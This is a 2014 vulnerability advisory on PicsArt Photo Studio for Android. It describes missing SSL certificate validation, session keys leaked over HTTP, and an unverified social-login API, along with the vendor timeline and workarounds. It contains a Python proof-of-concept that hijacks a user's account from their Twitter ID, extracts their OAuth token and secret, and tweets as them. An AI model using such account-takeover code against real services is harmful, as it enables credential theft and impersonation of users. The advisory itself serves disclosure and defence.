Insecure management of login credentials in PicsArt Photo Studio for
Android
1. *Advisory Information*
Title: Insecure management of login credentials in PicsArt Photo
Studio for Android
Advisory ID: STIC-2014-0426
Date published: 2014-11-06
Date of last update: 2014-11-06
Vendors contacted: PicsArt
Release mode: Unilateral release
2. *Vulnerability Information*
Class: Improper Certificate Validation [CWE-295], Insufficiently
Protected Credentials [CWE-522]
Impact: Data loss
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Identifier: CVE-2014-5674, CVE-2014-NOCVE
3. *Vulnerability Description*
PicsArt Photo Studio is a free and full featured photo-editing and
drawing mobile app available on Android, iOS and Windows Phone. As of
October, 2014 the Android version of the app had between 100 and 500
million downloads from the Google Play store. According to the vendor
the app has been installed more than 175 million times, has a 7
million monthly growth and more than 45 million monthly active
users[1]. Users can take, edit, publish and share photos on the
PicsArt website and on popular social networks such as Facebook,
Twitter and Google+ directly from the mobile app.
Originally the PicsArt application for Android[2] did not use HTTPS to
send security-sensitve information to the servers, allowing attackers
to hijack PicsArt user accounts simply by capturing network traffic.
After our original report to the vendor in May 2014, the app started
using HTTPS but it does not validate the server's SSL certificate,
allowing an attacker to perform Man-In-The-Middle attacks. PicsArt
user accounts can still be hijacked by capturing the user id sent as
value of the 'key' parameter in certain HTTPS GET requests.
Additionally, a user can sign up to PicsArt using her Facebook,
Twitter or Google+ account or using a standard email and password
scheme. When the user signs up using a third party social network
account, the user ID and access token obtained from those social
networks are sent to the PicsArt servers to identify the user during
the login phase.
This implies that the PicsArt servers, not just the PicsArt Photo
Studio application running on thte user's device, can impersonate the
user on the social networks. However the PicsArt server API does not
verify if the user's Google+, Facebook or Twitter access token is
valid during the login of the Android application. As a result, an
attacker can send a login request providing only a social network ID
to obtain the PicsArt's credentials associated to that
Google+/Facebook/Twitter user. This allows the attacker to obtain
access to any user account created from a social network account. The
attacker can also steal access tokens of PicsArt users to third party
social networks such as Facebook, Twitter, Google+, etc. This issue
affects all PicsArt user's who access their account via
Google+/Facebook/Twitter.
4. *Vulnerable packages*
. PicsArt Photo Studio for Android application prior or equal to
version 4.6.12 and greater than 4.6.3 uses HTTPS but does not validate
the SSL server certificate.
. PicsArt Photo Studio for Android application prior to version
4.6.3 and greater than 4.2.2 uses both HTTP and HTTPS and does not
validate the SSL server certificate.
. PicsArt Photo Studio for Android application prior to version
4.2.2 does not use HTTPS to receive and transmit security sensitive data.
5. *Vendor Information, Solutions and Workarounds*
After the initial report to the vendor, PicsArt released version
4.2.2. This version started using HTTPS for most, but not all, of the
server API. Since 4.6.3 there are no API methods that leak the user's
session key using HTTP. Adding HTTPS communication to the server in
4.2.2 didn't help fixing the problem since the application lacks of
certificate validation allowing Man-in-the-Middle attacks. Despite
several notifications sent to PicsArt, the last version (4.6.12, as of
publication of this advisory) is still missing proper certificate
validation checks.
The server API is still missing the validation of the login access
token.
A workaround to prevent attackers from compromising a PicsArt user's
Facebook, Twitter or Google+ account is to disable the PicsArt
application access to their profile. From Facebook or Twitter go to
"Settings|App" and remove PicsArt application from the list of apps.
For Google+ go to "Account|Security|Apps and websites" and click on
revoke access on PicsArt application.
PicsArt users concerned about their privacy or the security of their
account should stop using the Andorid application until patches with
proper SSL certificate validation are issued by the vendor nad the
Server APIs fixed.
6. *Credits*
This vulnerability was discovered and researched by Joaquín Manuel
Rinaudo. The publication of this advisory was coordinated by Programa
de Seguridad en TIC.
Will Dormann of CERT/CC independently discovered the SSL certificate
validation vulnerability using the CERT Tapioca tool.[5]
7. *Technical Description*
A user can sign up to PicsArt using her Facebook[3], Twitter[4] or
Google+ account or using a standard email and password scheme.
When a user signs using a social network, the PicsArt application
uses the OAuth protocol to communicate with that site.
If the user authorizes it, the PicSart application is provided with
an access token from either Facebook, Twitter or Google+ that can be
used to retrieve personal information or perform actions on behalf of
that user.
The application then uploads the access token to the PicsArt servers
along with the ID of that user so that the server can create a new
account associated to the user. Up to PicsArt version 4.2.2, this
communication was done entirely over HTTP. An attacker capturing the
the access token of Facebook, Twittter and Google+ as well as hijack
the session token of PicsArt for that user. After our report to
PicsArt, use of HTTPS was introduced by the vendor in version 4.6.3 in
an attempt to prevent man-in-the-middle attacks as well as session
hijacking. Unfortunately, adoption of HTTPS did not fix the problems.
In version of the PicsArt Photo Studio app that use HTTPS, the
socket object used to perform the secure connection uses a custom
X509TrustManager. The TrustManager's task is to check the certificate
presented by the server in order to prevent Man-in-the-Middle attacks.
The class 'com.socialin.android.util.w' sets the default
SSLsocketFactory used in the application to an empty TrustManager and
the default HostnameVerifier to a dummy one. Because of that, any
certificate presented by the server will be considered valid. This
allows an attacker to mount a MITM attack intercepting traffic,
creating fake X509 certificates on the fly and submitting them to
PicsArt's Android application.
Moreover, up to version 4.6.3 some requests performed by the
application were still obtained using HTTP. For example, when a user
opens the application, a request over HTTP to
information. Since requests that contains the user key as a parameter
like this are being sent to the server, session hijacking is possible
by simply capturing traffic. This was fixed in the version 4.6.3.
Additional problems were found by inspecting how the PicsArt Photo
Studio app uses the server API. When a user logs in with a social
network account using the Android application, a HTTP POST request
containing the user's access token and other information such as his
name, user name, mail and a user identifier for the social network is
sent to the PicsArt servers. The server API doesn't verify whether the
access token provided is valid for an already created account and
responds with the user key associated to the provided social network
ID. This allows an attacker to obtain access to other user's PicsArt
account by just knowing their user name on third party social networks.
An attacker can also obtain the user's access tokens to third party
social networks linked to their profile by requesting the user's
profile information using the key provided in the previously described
step. For example, if a user's has her Twitter account linked to her
PicsArt account, the server's response to the profile information will
contain the user's OAUTH_TOKEN and OAUTH_TOKEN_SECRET for Twitter.
Since the Android's PicsArt application contains the APP_KEY and
APP_SECRET embedded in the client code, an attacker has all the
information needed to impersonate the client app and obtain access to
a user's Twitter. Since the application has read and write permissions
in that social network, an attacker could perform status updates.
similar attacks are possible on other social networks such as Facebook
and Google+.
A sample proof-of-concept Python script to demonstrate that, knowing
only a PicsArt user's Twitter ID, it is possible to retrieve the
user's key from the PicsArt server API, use it get the user's access
token for Twitter and then tweet with her/his account is shown below:
/-----
import sys
import urllib
import urllib2
from twython import Twython
import json
import traceback
APP_KEY='<PICSART APP APPKEY>'
APP_SECRET='<PICSART APP SECRET>'
OAUTH_TOKEN=''
OAUTH_TOKEN_SECRET=''
def obtain_key(twitter_id):
only_twitter_id =
'''{"id":"%s","token_secret":"","profile_url":"","screen_name":"","token":"","name":""}'''
%twitter_id
data = 'token=&auth='+ urllib.quote(only_twitter_id)+'&provider=twitter'
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
jsonobject = json.loads(response.read())
return jsonobject['key']
def obtain_twitter_token(key):
response = urllib2.urlopen(url)
data = json.loads(response.read())
print data
global OAUTH_TOKEN
OAUTH_TOKEN = data['response'][0]['token']
global OAUTH_TOKEN_SECRET
OAUTH_TOKEN_SECRET = data['response'][0]['data']['token_secret']
def post_on_twitter():
twitter = Twython(APP_KEY, APP_SECRET,OAUTH_TOKEN, OAUTH_TOKEN_SECRET)
print twitter.verify_credentials()
twitter.update_status(status='Using twitter!')
if __name__ == '__main__':
if len(sys.argv) < 1:
print "No Twitter ID specified"
exit(0)
userKey =obtain_key(sys.argv[1])
print "User key for accessing user's Picsart account is %s" %userKey
try:
obtain_twitter_token(userKey)
post_on_twitter()
except:
traceback.print_exc()
print "Failed accessing user's Twitter account"
pass
- -----/
8. *Report Timeline*
. 2014-05-05:
Programa de Seguridad en TIC sent the vendor a description of the
vulnerabilities found: the improper server validation of access tokens
and the use of unencrypted HTTP communication with the server.
. 2014-05-07:
PicsArt indicated that the problems where already known and that due
to previous technical problems the application had switched temporary
to HTTP but that the new release, 4.2.2, HTTPS would be back.
. 2014-05-07:
The researcher communicated to PicsArt about having inspected the
updated app and that although the communication was HTTPS, certificate
validation was missing. Furthermore, Programa de Seguridad en TIC
communicated the vendor that the improper validation of the login
process was still an issue. The vendor was informed about a tentative
date for May 21st set for publishing the advisory.
. 2014-06-05:
After receiving no response, Programa de Seguridad en TIC asked
PicsArt about plans to fix the issues discussed.
. 2014-06-05:
PicsArt notified that they were releasing a version into beta with
fixed security and other features but with no explanation as to what
was being fixed.
. 2014-09-11:
Programa de Seguridad en TIC added the Computer Emergency Response
Team to the conversation since they had also identified and notified
PicsArt of the SSL certificate validation bug as part of their CERT
TAPIOCA project [5].
. 2014-09-11:
Vendor assured that a new release (4.6.3) was being deployed where
the user key was not being transmitted over HTTP in version and that
they were testing new bug fixes.
. 2014-09-16:
Programa de Seguridad en TIC asked for an estimated release of the
application and informed to the vendor that the application was using
an external library to implement their client side API transport ([6])
and this was one of the sources for the problem of not validating the
certificates properly since they were explicitly calling library
methods for skipping the validation process.
. 2014-09-17:
Vendor sent the researcher a new beta version where the external
library wasn't instructed to avoid validating certificates.
. 2014-09-18:
Programa de Seguridad en TIC notified that the server validation and
the HTTPS vulnerabilities were still unfixed. The latter was because
the application was still defining the default SSLSocketFactory and
HostnameVerifier in an insecure way. Researcher pointed the vendor to
the class originating this definitions.
. 2014-11-06:
Advisory was released.
9. *References*
[1] About PicsArt.
[2] PicsArt Photo Studio.
[3] Facebook Login for Android.
[4] Sign in with Twitter.
[5] Vulnerability Note VU#582497. Multiple Android applications fail
to properly validate SSL certificates.
[6] Java HTTP Request Library.
